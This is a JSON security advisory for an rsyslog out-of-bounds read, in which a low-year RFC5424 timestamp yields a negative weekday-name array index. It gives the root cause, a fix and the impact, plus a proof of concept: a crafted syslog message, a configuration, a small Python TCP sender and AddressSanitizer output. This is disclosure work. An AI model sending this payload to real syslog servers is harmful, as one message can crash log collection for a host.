{"id":"DHI-5kwz-lz57-fvxx-u4y5","summary":"### Summary","details":"### Summary\r\n\r\nA template that formats a timestamp as a weekday name reads outside a 7 element array when the timestamp carries a year well below 1970. The RFC5424 timestamp parser accepts years as low as 1, the weekday calculation then returns a negative index, and the array lookup reads a pointer from before the array that the template engine then dereferences as a string. A single message from any configured input triggers the fault, so this is a remote, unauthenticated out-of-bounds read reachable over the network.\r\n\r\n### Details\r\n\r\nThe weekday-name property reads an array with an unchecked index. getWeekdayNbr() (runtime/datetime.c:1177 on both main and v8.2610.0) computes a weekday with a Zeller-style formula, `wday = ((36525 * g) / 100) + ((306 * f) / 10) + ts-\u003eday - 621049` (datetime.c:1188), then reduces it with `wday %= 7` (datetime.c:1189). For a year far below 1970 the intermediate value is a large negative number. C keeps the sign of the left operand in `%`, so the result can be negative, for example -6.\r\n\r\nThe weekday-name property modifier then uses that value as an array index with no bounds check. In getTimeReported() the code returns `wdayNames[getWeekdayNbr(&pM-\u003etTIMESTAMP)]` (runtime/msg.c:1829 on main, runtime/msg.c:1771 on v8.2610.0), where `wdayNames` is a 7 element array of day-name strings (`static const char *wdayNames[7]`, msg.c:144). A negative index reads a pointer from before the array and dereferences it as a string. The same unchecked lookup appears at msg.c:1913 and msg.c:2052 on main (msg.c:1855 and msg.c:1994 on v8.2610.0).\r\n\r\nThe negative index is reachable because the RFC5424 timestamp parser does not reject low years. ParseTIMESTAMP3339() rejects a year only when it is below 0 or 2100 or greater (`year \u003c 0 || year \u003e= 2100`, runtime/datetime.c:314), so a year of 1 passes. getOrdinal() already guards its own year range (`ts-\u003eyear \u003c 1970 || ts-\u003eyear \u003e 2100`, datetime.c:1203) and logs an error instead of indexing, but getWeekdayNbr() has no such guard.\r\n\r\nFor year 1, month 1, the weekday value is `ts-\u003eday - 620621` before the modulo. Day 1 gives 0 (a valid index), which is why a naive test with day 1 does not crash. Day 2 gives -620619, and -620619 modulo 7 is -6, so `wdayNames[-6]` is read.\r\n\r\nThis issue was discovered with AI assistance and confirmed by hand against the source and by reproduction under AddressSanitizer.\r\n\r\nSuggested fix. Guard getWeekdayNbr() against out-of-range years the way getOrdinal() already does at datetime.c:1203, or clamp the return value to 0 through 6 before it is used as an index, or reject the low-year timestamp in the parser. Guarding getWeekdayNbr() covers all three array lookups at once.\r\n\r\n### Proof of concept\r\n\r\nBuild rsyslog from source with AddressSanitizer and install it so the core modules load:\r\n\r\n```\r\nCFLAGS=\"-fsanitize=address -g -O1 -fno-omit-frame-pointer\" \\\r\nLDFLAGS=\"-fsanitize=address\" \\\r\n  ./configure --enable-imtcp\r\nmake -j\"$(nproc)\"\r\nmake install\r\n```\r\n\r\nWrite the configuration to wday.conf. The template formats the reported timestamp as a weekday name:\r\n\r\n```\r\nglobal(workDirectory=\"/tmp\")\r\nmodule(load=\"imtcp\")\r\ntemplate(name=\"wd\" type=\"string\" string=\"WD=%timereported:::date-wdayname%\\n\")\r\ninput(type=\"imtcp\" port=\"13516\" ruleset=\"r\")\r\nruleset(name=\"r\"){ action(type=\"omfile\" file=\"/tmp/out_wd.log\" template=\"wd\") }\r\n```\r\n\r\nWrite the payload to pl_wday2.txt. The RFC5424 timestamp carries year 0001, month 01, day 02:\r\n\r\n```\r\n\u003c34\u003e1 0001-01-02T00:00:00Z h a - - - negidx\r\n```\r\n\r\nWrite the sender to send.py:\r\n\r\n```\r\nimport socket,sys,time\r\nport=int(sys.argv[1]); fn=sys.argv[2]\r\ndata=open(fn,\"rb\").read()\r\ns=socket.socket(); s.connect((\"127.0.0.1\",port)); s.sendall(data); time.sleep(0.5); s.close()\r\nprint(\"sent\",len(data),\"bytes to\",port)\r\n```\r\n\r\nStart the daemon under AddressSanitizer, send one message, and watch it fault:\r\n\r\n```\r\nASAN_OPTIONS=\"abort_on_error=1:detect_leaks=0:disable_coredump=1\" \\\r\n  rsyslogd -n -f wday.conf &\r\nsleep 2\r\npython3 send.py 13516 pl_wday2.txt\r\nsleep 2\r\n```\r\n\r\nAddressSanitizer reports the out-of-bounds read:\r\n\r\n```\r\n==ERROR: AddressSanitizer: global-buffer-overflow on address 0x... at pc 0x... bp 0x... sp 0x...\r\nREAD of size 8 at 0x... thread T4 (rs:main Q:Reg)\r\n    #0 ... in getTimeReported runtime/msg.c:1829\r\n    #1 ... in MsgGetProp runtime/msg.c:4015\r\n    #2 ... in tplToString runtime/template.c:937\r\n    #3 ... in prepareDoActionParams runtime/action.c:1379\r\n    #4 ... in processMsgMain runtime/action.c:2095\r\n    ...\r\n```\r\n\r\n(The ASan trace shows main line numbers.)\r\n\r\n### Impact\r\n\r\nAny rsyslog deployment with a template that formats a timestamp as a weekday name, through the date-wdayname property modifier, is affected. An attacker who can send one crafted RFC5424 message with a low year into that pipeline makes the daemon read a pointer from before a global array and dereference it as a string. The crafted message can arrive over any configured input, including the network collectors imtcp, imudp, and imrelp, so a remote unauthenticated sender reaches the sink. Under AddressSanitizer this aborts the daemon on the out-of-bounds read. On a release build the out-of-bounds pointer is dereferenced as a string, which crashes the daemon when that pointer is not mapped and otherwise emits whatever bytes the stray pointer addresses into the formatted output. Either way one crafted message disrupts log collection for every source on the host.\n\n## CVE\n\nCVE-2026-129837\n","modified":"2026-11-26T03:45:17.270006513Z","published":"2026-11-26T03:32:47Z","upstream":["CVE-2026-129837"],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-5kwz-lz57-fvxx-u4y5"},{"type":"ADVISORY","url":"https://github.com/rsyslog/rsyslog/security/advisories/GHSA-5pc2-f2v7-5w5p"},{"type":"ADVISORY","url":"https://security.alpinelinux.org/vuln/CVE-2026-129837"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-129837"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129837"},{"type":"ADVISORY","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2579411"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-129837"},{"type":"ADVISORY","url":"http://www.openwall.com/lists/oss-security/2026/11/17/8"},{"type":"ADVISORY","url":"http://www.openwall.com/lists/oss-security/2026/11/17/13"},{"type":"ADVISORY","url":"https://ubuntu.com/security/CVE-2026-129837"},{"type":"ADVISORY","url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-129837"},{"type":"FIX","url":"https://github.com/rsyslog/rsyslog/pull/8019"}],"affected":[{"package":{"name":"rsyslog","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/rsyslog"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.2512.0-r0"}]}],"versions":["8.2512.0-r0","8.2512.0-r1","8.2512.0-r2"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-5kwz-lz57-fvxx-u4y5.json"}},{"package":{"name":"rsyslog","ecosystem":"Docker Hardened Images:Alpine:3.24","purl":"pkg:apk/dhi/rsyslog"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.2604.0-r0"}]}],"versions":["8.2604.0-r0","8.2604.0-r1","8.2608.0-r1","8.2608.0-r2"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-5kwz-lz57-fvxx-u4y5.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}